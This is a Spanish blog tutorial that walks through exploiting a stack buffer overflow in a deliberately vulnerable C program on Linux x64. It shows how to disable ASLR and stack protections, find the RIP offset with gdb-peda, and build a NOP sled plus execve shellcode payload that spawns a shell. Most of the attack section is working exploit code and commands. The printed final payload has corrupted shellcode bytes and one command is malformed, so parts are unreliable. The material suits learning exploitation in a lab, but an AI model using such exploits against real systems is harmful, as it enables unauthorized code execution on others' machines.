Stack Buffer Overflow: Hackeando la memoria en Linux x64


Buen día! (o noche)

Continuando con las técnicas empleadas en seguridad informática, quise dar paso al Stack Buffer Overflow. Si bien es más complejo explotar este tipo de vulnerabilidades en los sistemas, una vez que lo logramos, podremos ejecutar código arbitrario en el mismo.

EL STACK


Primero, daremos un repaso a los registros del espacio de memoria asignado a nuestro objetivo.



Más información aquí

Los registros más importantes para este ejemplo, en sistema operativo de 64 bits, son  RSP, RBP y RIP.

RSP: Es el puntero de la pila (stack pointer). Les recuerdo a mis colegas informáticos (porque esto es del primer año de estudio), que la pila funciona como una cola de tipo LIFO (last in, first out) con las clásicas operaciones push y pop (poner y quitar). RSP apunta a la siguiente posición disponible en la cola.

RBP: Cuando se ejecuta una función del programa en memoria se carga un frame, llamado stack frame, en el se almacenaran los parámetros (o argumentos), este frame es apuntado por RBP (base pointer), cada vez que se llama a una función RBP se actualiza para apuntar a dicho frame.

RIP: Es el registro que contiene la dirección de memoria de la siguiente instrucción a ejecutar por la CPU. Instruction pointer.



Ejemplo de aplicación vulnerable



El clásico ejemplo con el codigo que usa "strcpy" sin validar el largo del parámetro de entrada, creamos un archivo "vuln.c" con el siguiente código en C.

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {

    char nombre[200];
    strcpy(nombre, argv[1]);
    printf("Hola %s", nombre);

}


Hoy en día, los sistemas operativos traen por defecto algunos sistemas de protección a los Buffer Overflow, por lo que en nuestro Linux (Kali en este caso) deberemos usar la siguiente instrucción para deshabilitar el ASLR (Address Space Layout Randomization). Más información aquí. Lo que hace básicamente el ASLR es que cada vez que nuestro programa se ejecuta, utilizará direcciones de memoria aleatorias, de esta forma se complica explotar un binario.

Si ejecutamos en la consola de nuestro sistema

> cat /proc/sys/kernel/randomize_va_space
> 2

veremos que la salida es "2", lo que indica que el ASLR está activado. Para desactivarlo lo cambiamos a cero y listo. Ejecutamos en consola:

> echo 0 > /proc/sys/kernel/randomize_va_space

Una vez deshabilitado el ASLR, debemos compilar nuestro programa con las siguientes opciones para que también no se incluyan protecciones en nuestro binario.

> gcc vuln.c -o vuln -z execstack -fno-stack-protector

Ahora tenemos nuestro binario vulnerable a BOF (buffer over flow), procederemos a realizar el debug con "gdb". Ejecutamos en consola:

> gdb vuln

En mi caso quedo dentro de GDB con la shell "gdb-peda$", esto porque instalé una herramienta que facilita el desarrollo de exploits llamada "PEDA". Más información de esta herramienta aquí.

Para correr el programa, debemos ingresar

gdb-peda$> run $(python -c 'print "A" * 300')

De esa forma, vía Python incluimos como parámetro de entrada 300 veces la letra "A", generando un desbordamiento del buffer (o arreglo, array) llamado "nombre", que sólo soporta 200 caracteres.

Como salida tenemos un "Segmentation fault", que es justamente lo que buscamos. Cuando exista ese mensaje es porque la aplicación es vulnerable y podemos desarrollar nuestro exploit para el buffer.

gdb peda segmentation fault


El siguiente paso, será descubrir la cantidad exacta de bytes para sobreescribir el registro RIP, ya que en ese registro se almacena la dirección de la siguiente instrucción a ejecutar, por lo tanto, si somos capaces de modificarla, podremos poner nuestra propia dirección de memoria, que conducirá a nuestro código ("arbitrario", generalmente una shell).

Metasploit tiene una herramienta escrita en Ruby para generar patrones de texto, con el fin de poder determinar la cantidad exacta de bytes con la que el buffer es sobrescrito para llegar al registro RIP. El script se llama "pattern_create.rb"

Si ejecutamos en la consola de Kali:

>/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300

arrojará un patrón como cadena de texto, el parámetro -l 300 indica que el largo de la cadena será de 300 caracteres. La ventaja de utilizar "PEDA" es que esta herramienta viene incorporada, por lo que podemos llamarla directamente desde gdb.

Entonces ejecutamos.

gdb-peda$> pattern_create 300

'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'


Ahora tenemos un texto con el patrón. Se lo pasamos como parámetro a nuestra aplicación de la siguiente forma:

gdb-peda$> run 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'



Y nos fijamos en la dirección con la que quedó RSP (stack pointer), se la pasamos a la siguiente herramienta, pattern_offset, en mi caso:

gdb-peda$> x $rsp

0x7fffffffe0b8: 0x4325416e

El comando "x" de GDB lo que hace es mostrarnos el contenido de una dirección de memoria, nosotros necesitamos saber el contenido del registro RSP, por esta razón usamos el comando "x $rsp", donde $rsp es un alias del stack pointer. La imagen también muestra la dirección de memoria de RSP:  0x7fffffffe0b8, si usamos "x 0x7fffffffe0b8" mostrará el mismo resultado (0x4325416e). Más información aquí

Entonces, usamos pattern_offset

gdb-peda$> pattern_offset 0x4325416e

1126515054 found at offset: 216

Y encuentra que el offset es 216, esto es importante, porque quiere decir que con 216 caracteres podremos llegar a sobrescribir exactamente el registro RIP.

Cómo podemos confirmarlo? pasando 216 caracteres, pero los últimos bytes con otra letra, así:

gdb-peda$> run $(python -c 'print "A" * 216 + "B"' * 6)


Claramente, el registro RIP fue sobrescrito con las "B", por lo tanto, podremos pasarle luego de los 216 caracteres la dirección de memoria donde queremos que el programa siga ejecutando. Esa dirección será una donde se encuentre nuestro código.

Exploit


Finalmente, llegamos al momento donde debemos insertar en el programa original nuestro código. Yo elegí una SHELL de Linux de 27 bytes, hay muchas acá

https://www.exploit-db.com/shellcode/

http://shell-storm.org/shellcode/

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

La pregunta ahora es cómo se inserta código en un programa ya compilado?, hay varias alternativas, pero la más común, es que la misma cadena de entrada lleve nuestra SHELL, es decir, en vez de pasar las letras "A", pasamos directamente nuestro código en hexadecimal.

Acá surge la otra pregunta: ¿Cómo sabemos cuál es la dirección de memoria de esa cadena? para poder pasarla al RIP?

Para este ejemplo básico, generaremos un "core" que tiene información valiosa sobre el segmento de memoria del programa. Para generar el core, debemos ejecutar en consola Linux:

> ulimit -c unlimited

Luego, ejecutamos en la misma consola la aplicación vulnerable con los parámetros que dejan el RIP sobreescrito

> ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
Segmentation fault (core dumped)

Ahora usando GDB analizamos el core generado

> gdb -q -c core

New LWP 2233]
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000424242424242 in ?? ()


Volvemos a quedar en la SHELL de PEDA, ejecutamos ahora "info registers"


RSP tiene el valor 0x7fffffffe160, como dijimos anteriormente, el Stack Pointer apunta al último elemento de la pila, así que deberemos restar nuestros parámetros de entrada, es decir, las 216 A y las 6 B, esto podemos comprobarlo con el comando "x" de GDB


Se puede ver que ahí están los 0x41, equivalentes a nuestras "A"

Entonces la dirección sería $rsp - 222, ahí comienza nuestra cadena de texto, $rsp dijimos que es 0x7fffffffe160 y 222 en hexadecimal es "DE", la resta queda: 7FFFFFFFE082, lo comprobamos si usamos nuevamente el comando "x 0x7FFFFFFFE082" y muestra 0x41, que es nuestra primera "A".

Pondremos la shell donde van las "A" y en vez de las "B" pondremos la dirección "0x7FFFFFFFE082", con eso RIP hará que la CPU vuelva donde están las "A" y lo que en verdad habrá ahí será nuestro código. (suena enredado?)

Otro detalle, si nuestra shell usa sólo 27 bytes, pero para llegar al RIP necesitamos 216 bytes ("A") ¿cómo lo hacemos?... se rellena con NOPs, que son caracteres por los que la CPU pasará sin hacer nada (NOP SLIDE), los NOPs en hexadecimal equivalen a 0x90. Mas información aquí

Y por qué no rellenar con las mismas "A"? porque las "A" no son instrucciones válidas para la CPU, el programa se caería.

La cadena de nuestro exploit, quedaría así

189 bytes de NOPS + 27 bytes de la shell + la dirección que sobrescribirá el RIP

Recordemos que el RIP es un registro de 64 bits (8 bytes), por lo que debemos rellenar con ceros nuestra dirección 0x7FFFFFFFE082, quedando 0x00007FFFFFFFE082. El código [::-1] en Python invierte la cadena. Esto es porque las direcciones se trabajan en little-endian.

"\x90" * 189 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x9954\x5e\xb0\x3b\x0f\x05" + "\x00\x00\x7f\xff\xff\xff\xe0\x82"[::-1]


Se ejecuta la shell correctamente, pero bin/bash da un warning debido a los null bytes. En el siguiente sitio se explica este caso.


Solución, cambiar la llamada a Python de $(), a <()

Y shell ejecutada!



DEBATE


En la práctica, ¿qué posibilidades existen de explotar un sistema operativo actual o aplicación, con sus parches al día?

Las posibilidades son infinitas, el punto es que desarrollar un exploit bajo esas condiciones es más difícil, tal como menciono al inicio de este post. Pero no imposible!

Si buscamos en el sitio exploit-db.com por "over flow" verán que hay muchos exploits y que se han publicado recientemente, es decir, con las últimas versiones de sistemas operativos y parches.

https://www.exploit-db.com/search/?action=search&q=over+flow

Si buscan por BlueBorne, verán que es una vulnerabilidad para bluetooth que acaba de salir.

https://thehackernews.com/2017/09/blueborne-bluetooth-hacking.html

El famoso ransomware WannaCry se aprovechó de la vulnerabilidad de SMBv1 (eternalblue), que técnicamente es un buffer overflow

https://security.stackexchange.com/questions/159654/how-does-the-eternalblue-exploit-work

(Sí, wannacry corrió aun cuando había parche, pero había parche sólo unos meses antes, y se entiende que la NSA tenía el exploit EternalBlue mucho antes)

En el sitio CVE Details, pueden filtrar por tipo de vulnerabilidad y año, verán que sólo el 2017 hay más de 2000 vulnerabilidades de ese tipo encontradas (y eso que son las reportadas)

http://www.cvedetails.com/vulnerability-list/year-2017/opov-1/overflow.html


Por lo tanto es factible, solamente que es más complejo, porque debemos armar nuestro laboratorio con las mismas versiones y sistemas operativos que nuestro objetivo para poder ir desarrollando, "debugueando" y finalmente encontrar la falla.


Espero les sirva



Comentarios

Publicar un comentario

Entradas populares de este blog

Ocultando la web shell como una imagen (Apache + PHP)

Desempaquetando Themida 2 (unpacking windows binary) - Análisis de Malware

Evasión de antivirus modernos usando Process Injection - MITRE T1055